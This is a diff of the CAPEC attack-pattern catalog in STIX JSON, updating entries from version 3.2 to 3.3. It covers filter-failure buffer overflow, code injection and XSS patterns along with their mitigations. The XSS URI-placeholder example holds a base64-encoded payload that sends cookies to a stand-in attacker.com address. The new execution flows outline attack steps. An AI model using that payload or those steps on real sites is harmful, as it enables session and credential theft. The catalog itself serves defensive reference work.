"target_ref": "attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce" }, { + "id": "course-of-action--c136203e-0b03-420c-828f-a1e4a8b0534b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-237-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Assurance: Use static analysis tool to do code review and dynamic tool to do penetration test on the standard library.", - "type": "course-of-action", - "id": "course-of-action--c136203e-0b03-420c-828f-a1e4a8b0534b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9627981c-870d-4aff-a472-cb655535e9f3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9627981c-870d-4aff-a472-cb655535e9f3", "source_ref": "course-of-action--c136203e-0b03-420c-828f-a1e4a8b0534b", "relationship_type": "mitigates", "target_ref": "attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce" }, { + "id": "course-of-action--a6f9e9be-3354-4590-80a2-a451a7d8e128", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-237-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Configuration: Get latest updates for the computer.", - "type": "course-of-action", - "id": "course-of-action--a6f9e9be-3354-4590-80a2-a451a7d8e128" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--22d46b75-55c1-431a-a27b-350b72fa6541", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--22d46b75-55c1-431a-a27b-350b72fa6541", "source_ref": "course-of-action--a6f9e9be-3354-4590-80a2-a451a7d8e128", "relationship_type": "mitigates", "target_ref": "attack-pattern--1d1fb93d-ce79-4c64-9987-94577fb894ce" }, { + "id": "attack-pattern--481983de-2023-47f1-be60-642556a65376", "name": "DEPRECATED: Using URL/codebase / G.A.C. (code source) to convince sandbox of privilege", "description": "This attack pattern has been deprecated as it did not appear to be a valid attack pattern.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -14108,11 +15326,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--481983de-2023-47f1-be60-642556a65376" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--f7c4e923-3a66-458b-8bfe-bbeeebefe86a", "name": "DEPRECATED: Subversion of Authorization Checks: Cache Filtering, Programmatic Security, etc.", "description": "This attack pattern has been deprecated as it did not contain any content and did not serve any useful purpose. Please refer to \"CAPEC-207: removing Important Client Functionality\" going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -14130,11 +15348,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f7c4e923-3a66-458b-8bfe-bbeeebefe86a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0", "name": "Filter Failure through Buffer Overflow", "description": "In this attack, the idea is to cause an active filter to fail by causing an oversized transaction. An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. the user input is let into the system unfiltered).", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -14230,12 +15448,13 @@ "A filter is used by a web application to filter out characters that may allow the input to jump from the data plane to the control plane when data is used in a SQL statement (chaining this attack with the SQL injection attack). Leveraging a buffer overflow the attacker makes the filter fail insecurely and the tainted data is permitted to enter unfiltered into the system, subsequently causing a SQL injection.", "Audit Truncation and Filters with Buffer Overflow. Sometimes very large transactions can be used to destroy a log file or cause partial logging failures. In this kind of attack, log processing code might be examining a transaction in real-time processing, but the oversized transaction causes a logic branch or an exception of some kind that is trapped. In other words, the transaction is still executed, but the logging or filtering mechanism still fails. This has two consequences, the first being that you can run transactions that are not logged in any way (or perhaps the log entry is completely corrupted). The second consequence is that you might slip through an active filter that otherwise would stop your attack." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey: The attacker surveys the target application, possibly as a valid and authenticated user

    2. Techniques
    Spidering web sites for inputs that involve potential filtering
    Brute force guessing of filtered inputs

Experiment

  1. Attempt injections: Try to feed overly long data to the system. This can be done manually or a dynamic tool (black box) can be used to automate this. An attacker can also use a custom script for that purpose.

    2. Techniques
    Brute force attack through black box penetration test tool.
    Fuzzing of communications protocols
    Manual testing of possible inputs with attack data.

  2. Monitor responses: Watch for any indication of failure occurring. Carefully watch to see what happened when filter failure occurred. Did the data get in?

    3. Techniques
    Boron tagging. Choose clear attack inputs that are easy to notice in output. In binary this is often 0xa5a5a5a5 (alternating 1s and 0s). Another obvious tag value is all zeroes, but it is not always obvious what goes wrong if the null values get into the data.
    Check Log files. An attacker with access to log files can look at the outcome of bad input.

Exploit

  1. Abuse the system through filter failure: An attacker writes a script to consistently induce the filter failure.

    2. Techniques
    DoS through filter failure. The attacker causes the system to crash or stay down because of its failure to filter properly.
    Malicious code execution. An attacker introduces a malicious payload and executes arbitrary code on the target system.
    An attacker can use the filter failure to introduce malicious data into the system and leverage a subsequent SQL injection, Cross Site Scripting, Command Injection or similar weakness if it exists.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--df271008-9c98-4fa2-b659-d6b978747eb4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -14244,23 +15463,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Make sure that ANY failure occurring in the filtering or input validation routine is properly handled and that offending input is NOT allowed to go through. Basically make sure that the vault is closed when failure occurs.", - "type": "course-of-action", - "id": "course-of-action--df271008-9c98-4fa2-b659-d6b978747eb4" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b078701a-fc7f-4782-8328-f24692e8b6f9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b078701a-fc7f-4782-8328-f24692e8b6f9", "source_ref": "course-of-action--df271008-9c98-4fa2-b659-d6b978747eb4", "relationship_type": "mitigates", "target_ref": "attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0" }, { + "id": "course-of-action--7bd078cd-9dbf-44a2-9bd8-4f13425b385d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -14269,23 +15490,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Pre-design: Use a language or compiler that performs automatic bounds checking.", - "type": "course-of-action", - "id": "course-of-action--7bd078cd-9dbf-44a2-9bd8-4f13425b385d" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--05eb5a7f-c448-40a0-9891-f33a7d754ef3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--05eb5a7f-c448-40a0-9891-f33a7d754ef3", "source_ref": "course-of-action--7bd078cd-9dbf-44a2-9bd8-4f13425b385d", "relationship_type": "mitigates", "target_ref": "attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0" }, { + "id": "course-of-action--f57e0c5f-4b65-49c5-a707-502f310762ed", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -14294,23 +15517,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.", - "type": "course-of-action", - "id": "course-of-action--f57e0c5f-4b65-49c5-a707-502f310762ed" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--0844ef97-7ee7-4611-8b3a-6da9146cce75", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0844ef97-7ee7-4611-8b3a-6da9146cce75", "source_ref": "course-of-action--f57e0c5f-4b65-49c5-a707-502f310762ed", "relationship_type": "mitigates", "target_ref": "attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0" }, { + "id": "course-of-action--d9bfea83-be0c-47f2-99c5-56b5812d013b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -14319,23 +15544,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Operational: Use OS-level preventative functionality. Not a complete solution.", - "type": "course-of-action", - "id": "course-of-action--d9bfea83-be0c-47f2-99c5-56b5812d013b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5152f113-a2d4-4665-bec3-a45da5d7b399", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5152f113-a2d4-4665-bec3-a45da5d7b399", "source_ref": "course-of-action--d9bfea83-be0c-47f2-99c5-56b5812d013b", "relationship_type": "mitigates", "target_ref": "attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0" }, { + "id": "course-of-action--a8d851ab-8c11-49fb-8bb1-ae0f95175539", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -14344,23 +15571,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.", - "type": "course-of-action", - "id": "course-of-action--a8d851ab-8c11-49fb-8bb1-ae0f95175539" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--adcbc9cc-ab6a-4107-bbb0-3c1ad2233710", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--adcbc9cc-ab6a-4107-bbb0-3c1ad2233710", "source_ref": "course-of-action--a8d851ab-8c11-49fb-8bb1-ae0f95175539", "relationship_type": "mitigates", "target_ref": "attack-pattern--d591235a-da3b-4872-8962-27fe44fa1ab0" }, { + "id": "attack-pattern--12de9227-495b-49b2-859f-334a20197ba3", "name": "Resource Injection", "description": "An adversary exploits weaknesses in input validation by manipulating resource identifiers enabling the unintended modification or specification of a resource.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -14396,11 +15625,11 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--12de9227-495b-49b2-859f-334a20197ba3" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--ef62d977-a0fa-4d4d-a3c5-9830fba4f873", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", @@ -14409,23 +15638,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Ensure all input content that is delivered to client is sanitized against an acceptable content specification.", - "type": "course-of-action", - "id": "course-of-action--ef62d977-a0fa-4d4d-a3c5-9830fba4f873" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--56610af9-7476-40eb-9fe6-53cf9958d96d", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--56610af9-7476-40eb-9fe6-53cf9958d96d", "source_ref": "course-of-action--ef62d977-a0fa-4d4d-a3c5-9830fba4f873", "relationship_type": "mitigates", "target_ref": "attack-pattern--12de9227-495b-49b2-859f-334a20197ba3" }, { + "id": "course-of-action--fd7e89e0-c911-4768-a127-580a58a1c1bc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", @@ -14434,23 +15665,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Perform input validation for all content.", - "type": "course-of-action", - "id": "course-of-action--fd7e89e0-c911-4768-a127-580a58a1c1bc" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--49b55648-8b51-4e4f-981c-60f90a683b32", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--49b55648-8b51-4e4f-981c-60f90a683b32", "source_ref": "course-of-action--fd7e89e0-c911-4768-a127-580a58a1c1bc", "relationship_type": "mitigates", "target_ref": "attack-pattern--12de9227-495b-49b2-859f-334a20197ba3" }, { + "id": "course-of-action--f8d51fc9-bebb-4f00-9ce1-e0bcb3815d42", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", @@ -14459,23 +15692,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Enforce regular patching of software.", - "type": "course-of-action", - "id": "course-of-action--f8d51fc9-bebb-4f00-9ce1-e0bcb3815d42" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--6454cc9d-9fac-4495-9887-bfcf65fb0131", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--6454cc9d-9fac-4495-9887-bfcf65fb0131", "source_ref": "course-of-action--f8d51fc9-bebb-4f00-9ce1-e0bcb3815d42", "relationship_type": "mitigates", "target_ref": "attack-pattern--12de9227-495b-49b2-859f-334a20197ba3" }, { + "id": "attack-pattern--b8923381-6219-46bf-b05d-3fa706c0d467", "name": "DEPRECATED: Code Injection", "description": "This attack pattern has been deprecated as it is a duplicate of the existing attack pattern \"CAPEC-242 : Code Injection\". Please refer to this other CAPEC going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -14493,11 +15728,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--b8923381-6219-46bf-b05d-3fa706c0d467" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128", "name": "Code Injection", "description": "An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -14536,11 +15771,11 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--a99fa1c3-7798-453a-8c18-1387446a4827", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", @@ -14549,62 +15784,67 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Utilize strict type, character, and encoding enforcement", - "type": "course-of-action", - "id": "course-of-action--a99fa1c3-7798-453a-8c18-1387446a4827" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f5e3b137-a200-4caa-9f02-88cba0ca4e80", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f5e3b137-a200-4caa-9f02-88cba0ca4e80", "source_ref": "course-of-action--a99fa1c3-7798-453a-8c18-1387446a4827", "relationship_type": "mitigates", "target_ref": "attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128" }, { + "id": "relationship--fcbfee88-5388-4fea-b023-06917c8b7cfd", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fcbfee88-5388-4fea-b023-06917c8b7cfd", "source_ref": "course-of-action--ef62d977-a0fa-4d4d-a3c5-9830fba4f873", "relationship_type": "mitigates", "target_ref": "attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128" }, { + "id": "relationship--e446d58c-04b2-49cb-a3bd-32a5c4a303b0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e446d58c-04b2-49cb-a3bd-32a5c4a303b0", "source_ref": "course-of-action--fd7e89e0-c911-4768-a127-580a58a1c1bc", "relationship_type": "mitigates", "target_ref": "attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128" }, { + "id": "relationship--b074b90c-807f-4764-ae36-cfc636a4d377", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-04-04T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b074b90c-807f-4764-ae36-cfc636a4d377", "source_ref": "course-of-action--f8d51fc9-bebb-4f00-9ce1-e0bcb3815d42", "relationship_type": "mitigates", "target_ref": "attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128" }, { + "id": "attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f", "name": "XSS Targeting HTML Attributes", "description": "An adversary inserts commands to perform cross-site scripting (XSS) actions in HTML attributes. Many filters do not adequately sanitize attributes against the presence of potentially dangerous commands even if they adequately sanitize tags. For example, dangerous expressions could be inserted into a style attribute in an anchor tag, resulting in the execution of malicious code when the resulting page is rendered. If a victim is tricked into viewing the rendered page the attack proceeds like a normal XSS attack, possibly resulting in the loss of sensitive cookies or other malicious activities.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -14612,7 +15852,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -14640,19 +15880,19 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--0809c5e1-86fc-4df6-8e5e-50939743e745", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0809c5e1-86fc-4df6-8e5e-50939743e745", "source_ref": "course-of-action--89b4089f-8b0c-4e66-9b1b-8d05f8cbaaf5", "relationship_type": "mitigates", "target_ref": "attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f" @@ -14660,42 +15900,46 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-243-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Implementation: Normalize, filter and white list all input including that which is not expected to have any scripting content.", + "description": "Implementation: Normalize, filter and use an allowlist for all input including that which is not expected to have any scripting content.", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--222befb8-4021-459e-a2fb-bd0153394373" + "id": "course-of-action--3647060a-91b9-4ee7-bbf8-78c5d4f20adf" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cb10a18a-7330-4d41-896c-f26826d64f5b", - "source_ref": "course-of-action--222befb8-4021-459e-a2fb-bd0153394373", + "id": "relationship--d8f1ebe4-ac7e-4221-af0e-4f36e5905da9", + "source_ref": "course-of-action--3647060a-91b9-4ee7-bbf8-78c5d4f20adf", "relationship_type": "mitigates", "target_ref": "attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f" }, { + "id": "relationship--efed9086-1bee-4608-a734-9e9b775b744f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--efed9086-1bee-4608-a734-9e9b775b744f", "source_ref": "course-of-action--7a8e75aa-0acc-4307-99ae-181fbe26a03d", "relationship_type": "mitigates", "target_ref": "attack-pattern--eade303a-1d70-4095-96da-5cf1d9f4333f" }, { + "id": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74", "name": "XSS Targeting URI Placeholders", "description": "An attack of this type exploits the ability of most browsers to interpret \"data\", \"javascript\" or other URI schemes as client-side executable content placeholders. This attack consists of passing a malicious URI in an anchor tag HREF attribute or any other similar attributes in other HTML tags. Such malicious URI contains, for example, a base64 encoded HTML content with an embedded cross-site scripting payload. The attack is executed when the browser interprets the malicious content i.e., for example, when the victim clicks on the malicious link.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -14703,7 +15947,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -14780,128 +16024,138 @@ "x_capec_example_instances": [ "\n The following payload data:\n text/html;base64,PGh0bWw+PGJvZHk+PHNjcmlwdD52YXIgaW1nID0gbmV3IEltYWdlKCk7IGltZy5zcmMgPSAiaHR0cDovL2F0dGFja2VyLmNvbS9jb29raWVncmFiYmVyPyIrIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5jb29raWVzKTs8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==\n represents a base64 encoded HTML and uses the data URI scheme to deliver it to the browser.\n The decoded payload is the following piece of HTML code:\n \n \n \n Web applications that take user controlled inputs and reflect them in URI HTML placeholder without a proper validation are at risk for such an attack.\n An attacker could inject the previous payload that would be placed in a URI placeholder (for example in the anchor tag HREF attribute):\n My Link\n Once the victim clicks on the link, the browser will decode and execute the content from the payload. This will result on the execution of the cross-site scripting attack.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application: Using a browser or an automated tool, an attacker follows all public links on a web site. They record all the links they find.

    2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt injection payload variations on input parameters: Possibly using an automated tool, an attacker requests variations on the inputs they surveyed before. They send parameters that include variations of payloads. They record all the responses from the server that include unmodified versions of their script.

    2. Techniques
    Use a list of XSS probe strings using different URI schemes to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier to trace the injected string back to the entry point.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
